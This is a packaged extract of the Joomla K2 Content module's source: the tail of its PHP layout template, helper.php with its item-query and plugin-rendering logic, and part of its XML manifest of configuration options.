      <?php echo $item->event->BeforeDisplayContent; ?>

      <!-- K2 Plugins: K2BeforeDisplayContent -->
      <?php echo $item->event->K2BeforeDisplayContent; ?>

      <?php if($params->get('itemImage') || $params->get('itemIntroText')): ?>
      <div class="moduleItemIntrotext">
	      <?php if($params->get('itemImage') && isset($item->image)): ?>
	      <a class="moduleItemImage" href="<?php echo $item->link; ?>" title="<?php echo JText::_('K2_CONTINUE_READING'); ?> &quot;<?php echo K2HelperUtilities::cleanHtml($item->title); ?>&quot;">
	      	<img src="<?php echo $item->image; ?>" alt="<?php echo K2HelperUtilities::cleanHtml($item->title); ?>" />
	      </a>
	      <?php endif; ?>

      	<?php if($params->get('itemIntroText')): ?>
      	<?php echo $item->introtext; ?>
      	<?php endif; ?>
      </div>
      <?php endif; ?>

      <?php if($params->get('itemExtraFields') && count($item->extra_fields)): ?>
      <div class="moduleItemExtraFields">
	      <b><?php echo JText::_('K2_ADDITIONAL_INFO'); ?></b>
	      <ul>
	        <?php foreach ($item->extra_fields as $key => $extraField): ?>
					<?php if($extraField->value != ''): ?>
					<li class="<?php echo ($key%2) ? "odd" : "even"; ?> type<?php echo ucfirst($extraField->type); ?> group<?php echo $extraField->group; ?> alias<?php echo ucfirst($extraField->alias); ?>">
						<?php if($extraField->type == 'header'): ?>
						<h4 class="moduleItemExtraFieldsHeader"><?php echo $extraField->name; ?></h4>
						<?php else: ?>
						<span class="moduleItemExtraFieldsLabel"><?php echo $extraField->name; ?></span>
						<span class="moduleItemExtraFieldsValue"><?php echo $extraField->value; ?></span>
						<?php endif; ?>
						<div class="clr"></div>
					</li>
					<?php endif; ?>
	        <?php endforeach; ?>
	      </ul>
      </div>
      <?php endif; ?>

      <div class="clr"></div>

      <?php if($params->get('itemVideo') && !empty($item->video)): ?>
      <div class="moduleItemVideo">
      	<?php echo $item->video; ?>
      	<span class="moduleItemVideoCaption"><?php echo $item->video_caption; ?></span>
      	<span class="moduleItemVideoCredits"><?php echo $item->video_credits; ?></span>
      </div>
      <?php endif; ?>

      <div class="clr"></div>

      <!-- Plugins: AfterDisplayContent -->
      <?php echo $item->event->AfterDisplayContent; ?>

      <!-- K2 Plugins: K2AfterDisplayContent -->
      <?php echo $item->event->K2AfterDisplayContent; ?>

      <?php if($params->get('itemDateCreated')): ?>
      <span class="moduleItemDateCreated"><?php echo JText::_('K2_WRITTEN_ON'); ?> <?php echo JHTML::_('date', $item->created, JText::_('K2_DATE_FORMAT_LC2')); ?></span>
      <?php endif; ?>

      <?php if($params->get('itemCategory')): ?>
      <?php echo JText::_('K2_IN'); ?> <a class="moduleItemCategory" href="<?php echo $item->categoryLink; ?>"><?php echo $item->categoryname; ?></a>
      <?php endif; ?>

      <?php if($params->get('itemTags') && count($item->tags)>0): ?>
      <div class="moduleItemTags">
      	<b><?php echo JText::_('K2_TAGS'); ?>:</b>
        <?php foreach ($item->tags as $tag): ?>
        <a href="<?php echo $tag->link; ?>"><?php echo $tag->name; ?></a>
        <?php endforeach; ?>
      </div>
      <?php endif; ?>

      <?php if($params->get('itemAttachments') && count($item->attachments)): ?>
			<div class="moduleAttachments">
				<?php foreach ($item->attachments as $attachment): ?>
				<a title="<?php echo K2HelperUtilities::cleanHtml($attachment->titleAttribute); ?>" href="<?php echo $attachment->link; ?>"><?php echo $attachment->title; ?></a>
				<?php endforeach; ?>
			</div>
      <?php endif; ?>

			<?php if($params->get('itemCommentsCounter') && $componentParams->get('comments')): ?>
				<?php if(!empty($item->event->K2CommentsCounter)): ?>
					<!-- K2 Plugins: K2CommentsCounter -->
					<?php echo $item->event->K2CommentsCounter; ?>
				<?php else: ?>
					<?php if($item->numOfComments>0): ?>
					<a class="moduleItemComments" href="<?php echo $item->link.'#itemCommentsAnchor'; ?>">
						<?php echo $item->numOfComments; ?> <?php if($item->numOfComments>1) echo JText::_('K2_COMMENTS'); else echo JText::_('K2_COMMENT'); ?>
					</a>
					<?php else: ?>
					<a class="moduleItemComments" href="<?php echo $item->link.'#itemCommentsAnchor'; ?>">
						<?php echo JText::_('K2_BE_THE_FIRST_TO_COMMENT'); ?>
					</a>
					<?php endif; ?>
				<?php endif; ?>
			<?php endif; ?>

			<?php if($params->get('itemHits')): ?>
			<span class="moduleItemHits">
				<?php echo JText::_('K2_READ'); ?> <?php echo $item->hits; ?> <?php echo JText::_('K2_TIMES'); ?>
			</span>
			<?php endif; ?>

			<?php if($params->get('itemReadMore') && $item->fulltext): ?>
			<a class="moduleItemReadMore" href="<?php echo $item->link; ?>">
				<?php echo JText::_('K2_READ_MORE'); ?>
			</a>
			<?php endif; ?>

      <!-- Plugins: AfterDisplay -->
      <?php echo $item->event->AfterDisplay; ?>

      <!-- K2 Plugins: K2AfterDisplay -->
      <?php echo $item->event->K2AfterDisplay; ?>

      <div class="clr"></div>
    </li>
    <?php endforeach; ?>
    <li class="clearList"></li>
  </ul>
  <?php endif; ?>

	<?php if($params->get('itemCustomLink')): ?>
	<a class="moduleCustomLink" href="<?php echo $itemCustomLinkURL; ?>" title="<?php echo K2HelperUtilities::cleanHtml($itemCustomLinkTitle); ?>"><?php echo $itemCustomLinkTitle; ?></a>
	<?php endif; ?>

	<?php if($params->get('feed')): ?>
	<div class="k2FeedIcon">
		<a href="<?php echo JRoute::_('index.php?option=com_k2&view=itemlist&format=feed&moduleID='.$module->id); ?>" title="<?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?>">
			<i class="icon-feed"></i>
			<span><?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?></span>
		</a>
		<div class="clr"></div>
	</div>
	<?php endif; ?>

</div>
mod_k2_content/index.html000060400000000054150746170540011452 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_k2_content/helper.php000060400000055006150746170540011454 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

require_once(JPATH_SITE.'/components/com_k2/helpers/route.php');
require_once(JPATH_SITE.'/components/com_k2/helpers/utilities.php');

class modK2ContentHelper
{
    public static function getItems(&$params, $format = 'html')
    {
        jimport('joomla.filesystem.file');

        $app = JFactory::getApplication();
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = (K2_JVERSION != '15') ? $jnow->toSql() : $jnow->toMySQL();
        $nullDate = $db->getNullDate();

        $componentParams = JComponentHelper::getParams('com_k2');

        $limit = $params->get('itemCount', 5);
        $cid = $params->get('category_id', null);
        $ordering = $params->get('itemsOrdering', '');
        $limitstart = JRequest::getInt('limitstart');

        // Get ACL
        $user = JFactory::getUser();
        if (K2_JVERSION != '15') {
            $userLevels = array_unique($user->getAuthorisedViewLevels());
            $aclCheck = 'IN('.implode(',', $userLevels).')';
        } else {
            $aid = $user->get('aid');
            $aclCheck = '<= '.$user->get('aid');
        }

        // Get language on Joomla 2.5+
        $languageFilter = '';
        if (K2_JVERSION != '15') {
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $languageFilter = $db->Quote($languageTag).", ".$db->Quote('*');
            }
        }

        // Sources (prepare the DB query)
        if ($params->get('source') == 'specific') {
            $value = $params->get('items');
            $current = array();
            if (is_string($value) && !empty($value)) {
                $current[] = $value;
            }
            if (is_array($value)) {
                $current = $value;
            }

            $items = array();

            foreach ($current as $id) {
                $query = "SELECT i.*, c.name AS categoryname, c.id AS categoryid, c.alias AS categoryalias, c.params AS categoryparams
                    FROM #__k2_items AS i
                    LEFT JOIN #__k2_categories AS c ON c.id = i.catid
                    WHERE i.published = 1
                        AND i.access {$aclCheck}
                        AND i.trash = 0
                        AND c.published = 1
                        AND c.access {$aclCheck}
                        AND c.trash = 0
                        AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                        AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                        AND i.id={$id}";

                if ($languageFilter) {
                    $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
                }

                $db->setQuery($query);
                $item = $db->loadObject();

                if ($item) {
                    $items[] = $item;
                }
            }
        } else {
            $query = "SELECT i.*, ";

            if ($ordering == 'modified') {
                $query .= " CASE WHEN i.modified = 0 THEN i.created ELSE i.modified END AS lastChanged, ";
            }

            $query .= "c.name AS categoryname, c.id AS categoryid, c.alias AS categoryalias, c.params AS categoryparams";

            if ($ordering == 'best') {
                $query .= ", (r.rating_sum/r.rating_count) AS rating";
            }

            if ($ordering == 'comments') {
                $query .= ", COUNT(comments.id) AS numOfComments";
            }

            $query .= " FROM #__k2_items AS i RIGHT JOIN #__k2_categories AS c ON c.id = i.catid";

            if ($ordering == 'best') {
                $query .= " LEFT JOIN #__k2_rating AS r ON r.itemID = i.id";
            }

            if ($ordering == 'comments') {
                $query .= " LEFT JOIN #__k2_comments AS comments ON comments.itemID = i.id";
            }

            $tagsFilter = $params->get('tags');
            if ($tagsFilter && is_array($tagsFilter) && count($tagsFilter)) {
                $query .= " INNER JOIN #__k2_tags_xref tags_xref ON tags_xref.itemID = i.id";
            }

            $query .= " WHERE i.published = 1
                AND i.access {$aclCheck}
                AND i.trash = 0
                AND c.published = 1
                AND c.access {$aclCheck}
                AND c.trash = 0
                AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")";

            if ($params->get('catfilter') && !is_null($cid)) {
                if ($params->get('getChildren')) {
                    $itemListModel = K2Model::getInstance('Itemlist', 'K2Model');
                    $categories = $itemListModel->getCategoryTree($cid);
                    $sql = @implode(',', $categories);
                    $query .= " AND i.catid IN ({$sql})";
                } else {
                    if (is_array($cid)) {
                        $query .= " AND i.catid IN(".implode(',', $cid).")";
                    } else {
                        $query .= " AND i.catid = ".(int)$cid;
                    }
                }
            }

            $tagsFilter = $params->get('tags');
            if ($tagsFilter && is_array($tagsFilter) && count($tagsFilter)) {
                $query .= " AND tags_xref.tagID IN(".implode(',', $tagsFilter).")";
            }

            $usersFilter = $params->get('users');
            if ($usersFilter && is_array($usersFilter) && count($usersFilter)) {
                $query .= " AND i.created_by IN(".implode(',', $usersFilter).") AND i.created_by_alias = ''";
            }

            if ($params->get('FeaturedItems') == '0') {
                $query .= " AND i.featured != 1";
            }

            if ($params->get('FeaturedItems') == '2') {
                $query .= " AND i.featured = 1";
            }

            if ($params->get('videosOnly')) {
                $query .= " AND (i.video IS NOT NULL AND i.video!='')";
            }

            if ($languageFilter) {
                $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
            }

            if ($ordering == 'comments') {
                $query .= " AND comments.published = 1";
            }

            switch ($ordering) {

                case 'date':
                    $orderby = 'i.created ASC';
                    break;

                case 'rdate':
                    $orderby = 'i.created DESC';
                    break;

                case 'alpha':
                    $orderby = 'i.title';
                    break;

                case 'ralpha':
                    $orderby = 'i.title DESC';
                    break;

                case 'order':
                    if ($params->get('FeaturedItems') == '2') {
                        $orderby = 'i.featured_ordering';
                    } else {
                        $orderby = 'i.ordering';
                    }
                    break;

                case 'rorder':
                    if ($params->get('FeaturedItems') == '2') {
                        $orderby = 'i.featured_ordering DESC';
                    } else {
                        $orderby = 'i.ordering DESC';
                    }
                    break;

                case 'hits':
                    if ($params->get('popularityRange')) {
                        $query .= " AND i.created > DATE_SUB('{$now}', INTERVAL ".$params->get('popularityRange')." DAY) ";
                    }
                    $orderby = 'i.hits DESC';
                    break;

                case 'rand':
                    $orderby = 'RAND()';
                    break;

                case 'best':
                    $orderby = 'rating DESC';
                    break;

                case 'comments':
                    if ($params->get('popularityRange')) {
                        $query .= " AND i.created > DATE_SUB('{$now}', INTERVAL ".$params->get('popularityRange')." DAY) ";
                    }
                    $orderby = 'numOfComments DESC';
                    break;

                case 'modified':
                    $orderby = 'lastChanged DESC';
                    break;

                case 'publishUp':
                    $orderby = 'i.publish_up DESC';
                    break;

                default:
                    $orderby = 'i.id DESC';
                    break;
            }

            $query .= " GROUP BY i.id ORDER BY ".$orderby;

            $db->setQuery($query, 0, $limit);
            $items = $db->loadObjectList();
        }

        // Render the query results
        $model = K2Model::getInstance('Item', 'K2Model');

        // Import plugins
        $dispatcher = JDispatcher::getInstance();
        if ($params->get('JPlugins', 1)) {
            JPluginHelper::importPlugin('content');
        }
        if ($params->get('K2Plugins', 1)) {
            JPluginHelper::importPlugin('k2');
        }

        if (count($items)) {
            foreach ($items as $item) {

                // Item (read more...) link
                $item->link = urldecode(JRoute::_(K2HelperRoute::getItemRoute($item->id.':'.urlencode($item->alias), $item->catid.':'.urlencode($item->categoryalias))));

                // Category link
                if ($params->get('itemCategory')) {
                    $item->categoryLink = urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($item->catid.':'.urlencode($item->categoryalias))));
                }

                // Title cleanup
                $item->title = JFilterOutput::ampReplace($item->title);

                // Tags
                if ($params->get('itemTags')) {
                    $tags = $model->getItemTags($item->id);
                    for ($i = 0; $i < count($tags); $i++) {
                        $tags[$i]->link = JRoute::_(K2HelperRoute::getTagRoute($tags[$i]->name));
                    }
                    $item->tags = $tags;
                }

                // Introtext
                $item->text = '';
                if ($params->get('itemIntroText')) {
                    // Word limit
                    if ($params->get('itemIntroTextWordLimit')) {
                        $item->text .= K2HelperUtilities::wordLimit($item->introtext, $params->get('itemIntroTextWordLimit'));
                    } else {
                        $item->text .= $item->introtext;
                    }
                }

                // Item image
                if ($params->get('itemImage')) {
                    if ($componentParams->get('imageTimestamp')) {
                        $date = JFactory::getDate($item->modified);
                        $timestamp = '?t='.$date->toUnix();
                    } else {
                        $timestamp = '';
                    }

                    $imageFilenamePrefix = md5("Image".$item->id);
                    $imagePathPrefix = JUri::base(true).'/media/k2/items/cache/'.$imageFilenamePrefix;

                    // Do we have an image uploaded? (simply check one size)
                    if (JFile::exists(JPATH_SITE.'/media/k2/items/cache/'.$imageFilenamePrefix.'_Generic.jpg')) {
                        $item->imageGeneric = $imagePathPrefix.'_Generic.jpg'.$timestamp;
                        $item->imageXSmall  = $imagePathPrefix.'_XS.jpg'.$timestamp;
                        $item->imageSmall   = $imagePathPrefix.'_S.jpg'.$timestamp;
                        $item->imageMedium  = $imagePathPrefix.'_M.jpg'.$timestamp;
                        $item->imageLarge   = $imagePathPrefix.'_L.jpg'.$timestamp;
                        $item->imageXLarge  = $imagePathPrefix.'_XL.jpg'.$timestamp;
                    }

                    // Select the size to use
                    $image = 'image'.$params->get('itemImgSize', 'Small');
                    if (isset($item->$image)) {
                        $item->image = $item->$image;
                    }
                }

                // Video
                if ($params->get('itemVideo') && $format != 'feed') {
                    $params->set('vfolder', 'media/k2/videos');
                    $params->set('afolder', 'media/k2/audio');
                    $tmp = new stdClass;
                    $tmp->text = $item->video;
                    if ($params->get('JPlugins', 1)) {
                        if (K2_JVERSION != '15') {
                            $dispatcher->trigger('onContentPrepare', array('mod_k2_content.', &$tmp, &$params, $limitstart));
                        } else {
                            $dispatcher->trigger('onPrepareContent', array(&$tmp, &$params, $limitstart));
                        }
                    }
                    if ($params->get('K2Plugins', 1)) {
                        $dispatcher->trigger('onK2PrepareContent', array(&$tmp, &$params, $limitstart));
                    }
                    $item->video = $tmp->text;
                }

                // Extra fields
                if ($params->get('itemExtraFields')) {
                    $item->extra_fields = $model->getItemExtraFields($item->extra_fields, $item);

                    // Plugin rendering in extra fields
                    if (is_array($item->extra_fields)) {
                        foreach ($item->extra_fields as $key => $extraField) {
                            if ($extraField->type == 'textarea' || $extraField->type == 'textfield') {
                                $tmp = new stdClass;
                                $tmp->text = $extraField->value;
                                if ($params->get('JPlugins', 1)) {
                                    if (K2_JVERSION != '15') {
                                        $dispatcher->trigger('onContentPrepare', array('mod_k2_content', &$tmp, &$params, $limitstart));
                                    } else {
                                        $dispatcher->trigger('onPrepareContent', array(&$tmp, &$params, $limitstart));
                                    }
                                }
                                if ($params->get('K2Plugins', 1)) {
                                    $dispatcher->trigger('onK2PrepareContent', array(&$tmp, &$params, $limitstart));
                                }
                                $extraField->value = $tmp->text;
                            }
                        }
                    }
                }

                // Attachments
                if ($params->get('itemAttachments')) {
                    $item->attachments = $model->getItemAttachments($item->id);
                }

                // Comments counter
                if ($params->get('itemCommentsCounter')) {
                    $item->numOfComments = $model->countItemComments($item->id);
                }

                // Plugins
                if ($format != 'feed') {
                    $params->set('parsedInModule', 1); // for plugins to know when they are parsed inside this module

                    $item->event = new stdClass;

                    $item->event->BeforeDisplay = '';
                    $item->event->AfterDisplay = '';
                    $item->event->AfterDisplayTitle = '';
                    $item->event->BeforeDisplayContent = '';
                    $item->event->AfterDisplayContent = '';

                    // Joomla Plugins
                    if ($params->get('JPlugins', 1)) {
                        if (K2_JVERSION != '15') {
                            $item->event->BeforeDisplay = '';
                            $item->event->AfterDisplay = '';

                            $results = $dispatcher->trigger('onContentAfterTitle', array('mod_k2_content', &$item, &$params, $limitstart));
                            $item->event->AfterDisplayTitle = trim(implode("\n", $results));

                            $results = $dispatcher->trigger('onContentBeforeDisplay', array('mod_k2_content', &$item, &$params, $limitstart));
                            $item->event->BeforeDisplayContent = trim(implode("\n", $results));

                            $results = $dispatcher->trigger('onContentAfterDisplay', array('mod_k2_content', &$item, &$params, $limitstart));
                            $item->event->AfterDisplayContent = trim(implode("\n", $results));

                            $dispatcher->trigger('onContentPrepare', array('mod_k2_content', &$item, &$params, $limitstart));
                        } else {
                            $results = $dispatcher->trigger('onBeforeDisplay', array(&$item, &$params, $limitstart));
                            $item->event->BeforeDisplay = trim(implode("\n", $results));

                            $results = $dispatcher->trigger('onAfterDisplay', array(&$item, &$params, $limitstart));
                            $item->event->AfterDisplay = trim(implode("\n", $results));

                            $results = $dispatcher->trigger('onAfterDisplayTitle', array(&$item, &$params, $limitstart));
                            $item->event->AfterDisplayTitle = trim(implode("\n", $results));

                            $results = $dispatcher->trigger('onBeforeDisplayContent', array(&$item, &$params, $limitstart));
                            $item->event->BeforeDisplayContent = trim(implode("\n", $results));

                            $results = $dispatcher->trigger('onAfterDisplayContent', array(&$item, &$params, $limitstart));
                            $item->event->AfterDisplayContent = trim(implode("\n", $results));

                            $dispatcher->trigger('onPrepareContent', array(&$item, &$params, $limitstart));
                        }
                    }

                    // Initialize K2 plugin events
                    $item->event->K2BeforeDisplay = '';
                    $item->event->K2AfterDisplay = '';
                    $item->event->K2AfterDisplayTitle = '';
                    $item->event->K2BeforeDisplayContent = '';
                    $item->event->K2AfterDisplayContent = '';
                    $item->event->K2CommentsCounter = '';

                    // K2 Plugins
                    if ($params->get('K2Plugins', 1)) {
                        $results = $dispatcher->trigger('onK2BeforeDisplay', array(&$item, &$params, $limitstart));
                        $item->event->K2BeforeDisplay = trim(implode("\n", $results));

                        $results = $dispatcher->trigger('onK2AfterDisplay', array(&$item, &$params, $limitstart));
                        $item->event->K2AfterDisplay = trim(implode("\n", $results));

                        $results = $dispatcher->trigger('onK2AfterDisplayTitle', array(&$item, &$params, $limitstart));
                        $item->event->K2AfterDisplayTitle = trim(implode("\n", $results));

                        $results = $dispatcher->trigger('onK2BeforeDisplayContent', array(&$item, &$params, $limitstart));
                        $item->event->K2BeforeDisplayContent = trim(implode("\n", $results));

                        $results = $dispatcher->trigger('onK2AfterDisplayContent', array(&$item, &$params, $limitstart));
                        $item->event->K2AfterDisplayContent = trim(implode("\n", $results));

                        $dispatcher->trigger('onK2PrepareContent', array(&$item, &$params, $limitstart));

                        if ($params->get('itemCommentsCounter')) {
                            $results = $dispatcher->trigger('onK2CommentsCounter', array(&$item, &$params, $limitstart));
                            $item->event->K2CommentsCounter = trim(implode("\n", $results));
                        }
                    }
                }

                // Restore the intotext variable after plugins are executed
                $item->introtext = $item->text;

                // Remove the plugin tags
                $item->introtext = preg_replace("#{(.*?)}(.*?){/(.*?)}#s", '', $item->introtext);

                // Author (user)
                if ($params->get('itemAuthor')) {
                    if (!empty($item->created_by_alias)) {
                        $item->author = $item->created_by_alias;
                        $item->authorGender = null;
                        $item->authorDescription = null;
                        if ($params->get('itemAuthorAvatar')) {
                            $item->authorAvatar = K2HelperUtilities::getAvatar('alias');
                        }
                        $item->authorLink = JUri::root(true);
                    } else {
                        $author = JFactory::getUser($item->created_by);
                        $item->author = $author->name;

                        $query = "SELECT `description`, `gender` FROM #__k2_users WHERE userID=".(int)$author->id;
                        $db->setQuery($query, 0, 1);

                        $result = $db->loadObject();
                        if ($result) {
                            $item->authorGender = $result->gender;
                            $item->authorDescription = $result->description;
                        } else {
                            $item->authorGender = null;
                            $item->authorDescription = null;
                        }

                        if ($params->get('itemAuthorAvatar')) {
                            $item->authorAvatar = K2HelperUtilities::getAvatar($author->id, $author->email, $componentParams->get('userImageWidth'));
                        }

                        $item->authorLink = JRoute::_(K2HelperRoute::getUserRoute($item->created_by));
                    }
                }

                // Author (user) avatar
                if ($params->get('itemAuthorAvatar') && !isset($item->authorAvatar)) {
                    if (!empty($item->created_by_alias)) {
                        $item->authorAvatar = K2HelperUtilities::getAvatar('alias');
                        $item->authorLink = JUri::root(true);
                    } else {
                        $jAuthor = JFactory::getUser($item->created_by);
                        $item->authorAvatar = K2HelperUtilities::getAvatar($jAuthor->id, $jAuthor->email, $componentParams->get('userImageWidth'));
                        $item->authorLink = JRoute::_(K2HelperRoute::getUserRoute($item->created_by));
                    }
                }

                // Populate the output array
                $rows[] = $item;
            }

            return $rows;
        }
    }
}
mod_k2_content/mod_k2_content.xml000060400000033452150746170540013114 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" version="2.5" method="upgrade">
    <name>K2 Content</name>
    <author>JoomlaWorks</author>
    <creationDate>September 21st, 2018</creationDate>
    <copyright>Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>www.joomlaworks.net</authorUrl>
    <version>2.9.0</version>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <description>K2_MOD_K2_CONTENT_DESCRIPTION</description>
    <files>
        <filename module="mod_k2_content">mod_k2_content.php</filename>
        <filename>helper.php</filename>
        <folder>tmpl</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/administrator/components/com_k2/elements/">
                <field name="moduleclass_sfx" type="text" default="" label="K2_MODULE_CLASS_SUFFIX" description="K2_MODULE_CLASS_SUFFIX_DESCRIPTION"/>
                <field name="getTemplate" type="moduletemplate" modulename="mod_k2_content" default="Default" label="K2_SELECT_SUBTEMPLATE" description="K2_THIS_MODULE_UTILIZES_ONTHEFLY_MVC_TEMPLATE_OVERRIDES_WHAT_THIS_MEANS_IS_THAT_YOU_CAN_CREATE_A_NEW_SUBTEMPLATE_FOLDER_FOR_THIS_MODULE_WITHIN_YOUR_JOOMLA_TEMPLATES_HTMLMOD_K2_CONTENT_FOLDER_THE_MODULE_WILL_THEN_PICKUP_THE_NEW_SUBTEMPLATE_AUTOMAGICALLY_WITHOUT_YOU_EDITING_ANY_XML_FILE_OR_DOING_ANY_OTHER_NONDESIGNER_WORK"/>
                <field name="source" type="list" default="filter" label="K2_SOURCE" description="">
                    <option value="filter">K2_RETRIEVE_ITEMS_FROM_CATEGORIES</option>
                    <option value="specific">K2_SELECT_SPECIFIC_ITEMS</option>
                </field>
                <field name="" type="header" default="K2_RETRIEVE_ITEMS_FROM_CATEGORIES" label="" description=""/>
                <field name="catfilter" type="radio" default="0" label="K2_CATEGORY_FILTER" description="" class="btn-group btn-group-yesno-reverse">
                    <option value="0">K2_ALL</option>
                    <option value="1">K2_SELECT</option>
                </field>
                <field name="category_id" type="categoriesmultiple" default="" label="K2_SELECT_ONE_OR_MORE_CATEGORIES" description="K2_SELECT_ONE_ORE_MORE_CATEGORIES_FOR_WHICH_YOU_WANT_TO_FILTER_AN_ITEMS_LIST_SELECT_NONE_TO_FETCH_ITEMS_FROM_ALL_CATEGORIES"/>
                <field name="getChildren" type="radio" default="0" label="K2_FETCH_ITEMS_FROM_CHILDREN_CATEGORIES" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="tags" type="k2tags" label="K2_TAGS"/>
                <field name="users" type="k2users" label="K2_USERS"/>
                <field name="itemCount" type="text" size="4" default="5" label="K2_ITEM_COUNT" description=""/>
                <field name="itemsOrdering" type="list" default="" label="K2_ITEM_ORDERING" description="">
                    <option value="">K2_DEFAULT</option>
                    <option value="date">K2_OLDEST_FIRST</option>
                    <option value="rdate">K2_MOST_RECENT_FIRST</option>
                    <option value="publishUp">K2_RECENTLY_PUBLISHED</option>
                    <option value="alpha">K2_TITLE_ALPHABETICAL</option>
                    <option value="ralpha">K2_TITLE_REVERSEALPHABETICAL</option>
                    <option value="order">K2_ORDERING</option>
                    <option value="rorder">K2_ORDERING_REVERSE</option>
                    <option value="hits">K2_MOST_POPULAR</option>
                    <option value="best">K2_HIGHEST_RATED</option>
                    <option value="comments">K2_MOST_COMMENTED</option>
                    <option value="modified">K2_LATEST_MODIFIED</option>
                    <option value="rand">K2_RANDOM_ORDERING</option>
                </field>
                <field name="FeaturedItems" type="list" default="1" label="K2_FEATURED_ITEMS" description="">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                    <option value="2">K2_SHOW_ONLY_FEATURED_ITEMS</option>
                </field>
                <field name="popularityRange" type="list" default="" label="K2_TIME_RANGE_IF_ORDERING_IS_SET_TO_MOST_POPULAR_OR_MOST_COMMENTED" description="">
                    <option value="">K2_ALL_TIME</option>
                    <option value="1">K2_1_DAY</option>
                    <option value="3">K2_3_DAYS</option>
                    <option value="7">K2_1_WEEK</option>
                    <option value="15">K2_2_WEEKS</option>
                    <option value="30">K2_1_MONTH</option>
                    <option value="90">K2_3_MONTHS</option>
                    <option value="180">K2_6_MONTHS</option>
                </field>
                <field name="videosOnly" type="radio" default="0" label="K2_FETCH_ONLY_ITEMS_WITH_VIDEOS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="" type="header" default="K2_SELECT_SPECIFIC_ITEMS" label="" description=""/>
                <field name="items" type="k2modalselector" scope="items" default="" label="K2_ITEM_SELECTOR" description=""/>
                <field name="" type="header" default="K2_ITEM_VIEW_OPTIONS_COMMON_FOR_EITHER_SOURCE" label="" description=""/>
                <field name="itemTitle" type="radio" default="1" label="K2_TITLE" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemAuthor" type="radio" default="1" label="K2_USER_AUTHOR" description="K2_MOD_K2_CONTENT_USER_AUTHOR_DESC" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemAuthorAvatar" type="radio" default="1" label="K2_USER_AVATAR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemAuthorAvatarWidthSelect" type="list" default="custom" label="K2_USER_AVATAR_WIDTH" description="">
                    <option value="inherit">K2_INHERIT_FROM_COMPONENT_PARAMETERS</option>
                    <option value="custom">K2_USE_CUSTOM_WIDTH</option>
                </field>
                <field name="itemAuthorAvatarWidth" type="text" default="50" size="4" label="K2_CUSTOM_WIDTH_FOR_USER_AVATAR_IN_PX" description=""/>
                <field name="userDescription" type="radio" default="1" label="K2_USER_DESCRIPTION" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemIntroText" type="radio" default="1" label="K2_INTROTEXT" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemIntroTextWordLimit" type="text" size="4" default="" label="K2_INTROTEXT_WORD_LIMIT" description="K2_LEAVE_BLANK_TO_DIASBLE_IF_YOU_ENABLE_THIS_OPTION_ALL_HTML_TAGS_FROM_THE_TEXT_WILL_BE_CLEANED_UP_TO_MAKE_SURE_THE_HTML_STRUCTURE_OF_THE_SITE_DOES_NOT_BRAKE"/>
                <field name="itemImage" type="radio" default="1" label="K2_IMAGE" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemImgSize" type="list" default="Small" label="K2_IMAGE_SIZE" description="">
                    <option value="XSmall">K2_XSMALL</option>
                    <option value="Small">K2_SMALL</option>
                    <option value="Medium">K2_MEDIUM</option>
                    <option value="Large">K2_LARGE</option>
                    <option value="XLarge">K2_XLARGE</option>
                </field>
                <field name="itemVideo" type="radio" default="1" label="K2_VIDEO" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemVideoCaption" type="radio" default="1" label="K2_MEDIA_CAPTION" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemVideoCredits" type="radio" default="1" label="K2_MEDIA_CREDITS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemAttachments" type="radio" default="1" label="K2_ATTACHMENTS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
